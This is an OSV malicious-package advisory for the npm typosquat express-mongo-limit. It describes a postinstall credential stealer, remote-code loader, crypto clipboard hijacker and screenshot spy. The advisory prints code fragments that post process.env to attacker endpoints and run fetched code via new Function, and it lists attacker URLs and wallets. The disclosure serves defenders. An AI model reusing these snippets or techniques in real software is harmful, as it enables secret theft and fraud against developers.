MAL-2026-7012

See a problem?

Import Source

https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/express-mongo-limit/MAL-2026-7012.json

JSON Data

https://api.osv.dev/v1/vulns/MAL-2026-7012

Published

2026-07-07T00:00:00Z

Modified

2026-08-05T07:21:12.745848008Z

Summary

Malicious code in express-mongo-limit (npm)

Details

The npm package express-mongo-limit masquerades as an Express/MongoDB payload sanitization middleware (likely typosquatting express-mongo-sanitize) but is a credential stealer, remote-code-execution backdoor, crypto clipboard hijacker, and screenshot spyware. It declares a postinstall: node index.js hook, so the payload executes automatically on install. The obfuscated config/auth.js (built with javascript-obfuscator) exfiltrates the victim's entire process.env via axios.post(url, {...process.env}, { headers: { 'x-app-request': 'ip-check' } }) to an attacker-controlled endpoint, and index.js fetches arbitrary JavaScript from a C2 server and executes it with new Function("require", response.data)(require), writing the payload to apiKeyResponse.js for persistence. Version 2.0.1 additionally ships service.js, a clipboard hijacker that monitors the clipboard and silently replaces detected Ethereum/BNB, Bitcoin, Solana, and Tron wallet addresses with the attacker's wallets, and app.js, which captures the desktop screen every 2 seconds and emails each screenshot to daniattacker@gmail.com via nodemailer/Gmail. It establishes persistence by globally installing pm2, clipboardy, and screenshot-desktop and registering service.js as a PM2 startup service. Version 1.0.0 is a benign "Hello World" decoy used to stage the package name. The package was published by npm user jon_conway (daniattacker@gmail.com).

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (8f17b459e01affe3f0cc1640da6fcc4e1db9cdf3b7379caa6e6865747ce71a60)

The package advertises itself as an Express/Mongo payload sanitizer but its postinstall hook (node index.js) globally installs pm2, clipboardy, and screenshot-desktop, then runs pm2 start service.js, pm2 save, and pm2 startup to persist a background service across reboots on the installer's machine. The persisted service (service.js) polls the system clipboard once per second and, when it detects an ETH/BSC, BTC, Solana, or Tron address, replaces it with hardcoded attacker wallets (ETH 0x62Fc857DE5469fDd81F57F309c2fb000cad7bbbb, BTC bc1q8tzzpun6rd45s6fgar2up8nfelt4u2r2h999cc, SOL 6A7vQWJveJBWP78oktAjoZbMakrCAQyLphJ5Kswy5xA4, TRX TUqk5th1eXZWrt1arsqpxZ3frqaCxc9Lr4) to redirect cryptocurrency transfers. A sibling app.js runs an infinite 2-second loop that captures the desktop via screenshot-desktop and emails each screenshot via nodemailer through a Gmail account (daniattacker@gmail.com); the app password is a placeholder in this version but the harvesting and delivery framework is fully wired. config/auth.js also exports a verify() helper that POSTs the entire process.env to a base64-obfuscated Vercel endpoint (gamboracle.vercel.app/api; a second endpoint ipcheck-six.vercel.app/api is stored in .env), with an atob-based decoder used to hide the destinations. The package name and description mimic the widely-used express-mongo-sanitize while the README is an unrelated hello-world-package stub, indicating the metadata is a lure. Installation on a default npm install triggers persistent RCE, clipboard-based crypto theft, desktop screenshot exfiltration, and provides an env-var exfiltration primitive to attacker-controlled endpoints.

Database specific

{
    "iocs": {
        "urls": [
            "https://ipcheck-six.vercel.app/api",
            "https://gamboracle.vercel.app/api"
        ],
        "domains": [
            "ipcheck-six.vercel.app",
            "gamboracle.vercel.app"
        ]
    },
    "malicious-packages-origins": [
        {
            "versions": [
                "2.0.2"
            ],
            "import_time": "2026-07-08T17:40:19.651336977Z",
            "sha256": "14fb26238eabda9c27993bc87c05daf79a9d747b09aa9913f4b0f423f9c02b11",
            "modified_time": "2026-07-08T17:29:28Z",
            "id": "IN-MAL-2026-008169",
            "source": "amazon-inspector"
        },
        {
            "id": "IN-MAL-2026-008166",
            "import_time": "2026-07-08T17:40:19.360960794Z",
            "sha256": "7d96872ebd4caa268253a12ad978f944ea4cb9f5c7e8c56e8d6ca20371be80f0",
            "modified_time": "2026-07-08T17:28:37Z",
            "versions": [
                "2.0.6"
            ],
            "source": "amazon-inspector"
        },
        {
            "id": "IN-MAL-2026-009662",
            "import_time": "2026-07-10T17:10:15.687796224Z",
            "sha256": "8f17b459e01affe3f0cc1640da6fcc4e1db9cdf3b7379caa6e6865747ce71a60",
            "modified_time": "2026-07-10T16:53:59Z",
            "versions": [
                "2.0.1"
            ],
            "source": "amazon-inspector"
        },
        {
            "id": "IN-MAL-2026-009661",
            "import_time": "2026-07-10T17:10:15.630897743Z",
            "sha256": "e40668989935e632be0df4d21ff4e1570df764f62f6dd339de7c7e6da7aeca70",
            "modified_time": "2026-07-10T16:53:49Z",
            "versions": [
                "2.0.4"
            ],
            "source": "amazon-inspector"
        },
        {
            "id": "IN-MAL-2026-009663",
            "import_time": "2026-07-10T17:10:15.778243417Z",
            "sha256": "60e8444409604bef7ed65fb57dbff6911484b3681f65a0d47278d59642bb9a30",
            "modified_time": "2026-07-10T16:54:07Z",
            "versions": [
                "2.0.5"
            ],
            "source": "amazon-inspector"
        },
        {
            "id": "IN-MAL-2026-009664",
            "import_time": "2026-07-10T17:10:15.88420167Z",
            "sha256": "6b6a47dd6590628a6baf947d3f4d158b5e354b65fe086f956258a5c349ba11f9",
            "modified_time": "2026-07-10T16:54:15Z",
            "versions": [
                "2.0.3"
            ],
            "source": "amazon-inspector"
        },
        {
            "id": "IN-MAL-2026-010462",
            "import_time": "2026-07-14T06:49:56.06524623Z",
            "sha256": "e572a773618489b2c74ff22db3cc477911ed7420431acc2641452f78b4cec02d",
            "modified_time": "2026-07-14T05:55:20Z",
            "versions": [
                "1.0.0"
            ],
            "source": "amazon-inspector"
        },
        {
            "id": "IN-MAL-2026-013079",
            "import_time": "2026-08-05T06:00:38.740976017Z",
            "sha256": "8a25f4314d372274d6d93a19b826ca08ee1060846c71056973bcfc81dec7d139",
            "modified_time": "2026-08-05T05:30:55Z",
            "versions": [
                "1.0.3"
            ],
            "source": "amazon-inspector"
        },
        {
            "id": "IN-MAL-2026-013078",
            "import_time": "2026-08-05T06:00:38.621246428Z",
            "sha256": "0f209503565311b71790e90156cb2bbfd60e08dc17efdc012191e8af2652e745",
            "modified_time": "2026-08-05T05:30:47Z",
            "versions": [
                "1.0.1"
            ],
            "source": "amazon-inspector"
        },
        {
            "id": "IN-MAL-2026-013082",
            "import_time": "2026-08-05T06:00:39.096470535Z",
            "sha256": "825c83ced5973ce0988b1bf62f8dc2cdbb7f3d06c5d13414a19444167bec19da",
            "modified_time": "2026-08-05T05:31:21Z",
            "versions": [
                "1.0.2"
            ],
            "source": "amazon-inspector"
        },
        {
            "versions": [
                "1.0.4"
            ],
            "import_time": "2026-08-05T07:06:44.867536573Z",
            "sha256": "74183df31456d3045bd64ee94249bf821b1abcc14518f9142f4efcf63d756d7e",
            "modified_time": "2026-08-05T06:15:45Z",
            "id": "IN-MAL-2026-013386",
            "source": "amazon-inspector"
        }
    ]
}

References

Credits

- Amazon Inspector - FINDER
- - inspector-research@amazon.com
- SafeDep - FINDER
- - https://safedep.io

Affected packages

npm / express-mongo-limit

Package

Name: express-mongo-limit; View open source insights on deps.dev
Purl: pkg:npm/express-mongo-limit

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Affected versions

1.*

1.0.0

1.0.1

1.0.2

1.0.3

1.0.4

2.*

2.0.1

2.0.2

2.0.3

2.0.4

2.0.5

2.0.6

Database specific

cwes

[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "cweId": "CWE-506",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]

indicators

{
    "package_integrity": [
        {
            "hashes": {
                "sha512_sri": "sha512-UfuC5IJZ+VwwZjstCYRxhpFinzmVw7fGnh+1bIR+4LJVkFrc3fyfPdq4vi8vB4FB+O5iQxGxocU8coa2C70Pqw==",
                "sha1": "920a44630ecae3330a005dfc97e0f95f20f37d8c"
            },
            "filename": "express-mongo-limit-2.0.2.tgz"
        }
    ],
    "evidence_files": [
        {
            "path": "index.js",
            "sha256": "c4a3e3af06249afd5ef2abf09e7e4bdd85583dcb6837933afa623789542f6fee",
            "tlsh": "ac119c0a1c96102ad1377bb8cb0b401bf753c5230268d25aba9f91501ff29a49621ffd"
        },
        {
            "path": "config/auth.js",
            "sha256": "a2b44e9baea8761757c717d19ed0a31f819423625dcdfbb0f3250809e749705e",
            "tlsh": "a4d0a75e88d9209209f6e7a0b8a54417a680d122248ddad0350c114d2fe4056d1988d8"
        },
        {
            "path": "package.json",
            "sha256": "f4e7a27f05cc81924f979eefafdc7821fbcfcc15a8423a2165b52e23621f49e3",
            "tlsh": "4de02233d9009a332df0969a6d698696b6a09b2f10a09c0b32bb116c5b6613219cb349"
        }
    ]
}

source

"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/express-mongo-limit/MAL-2026-7012.json"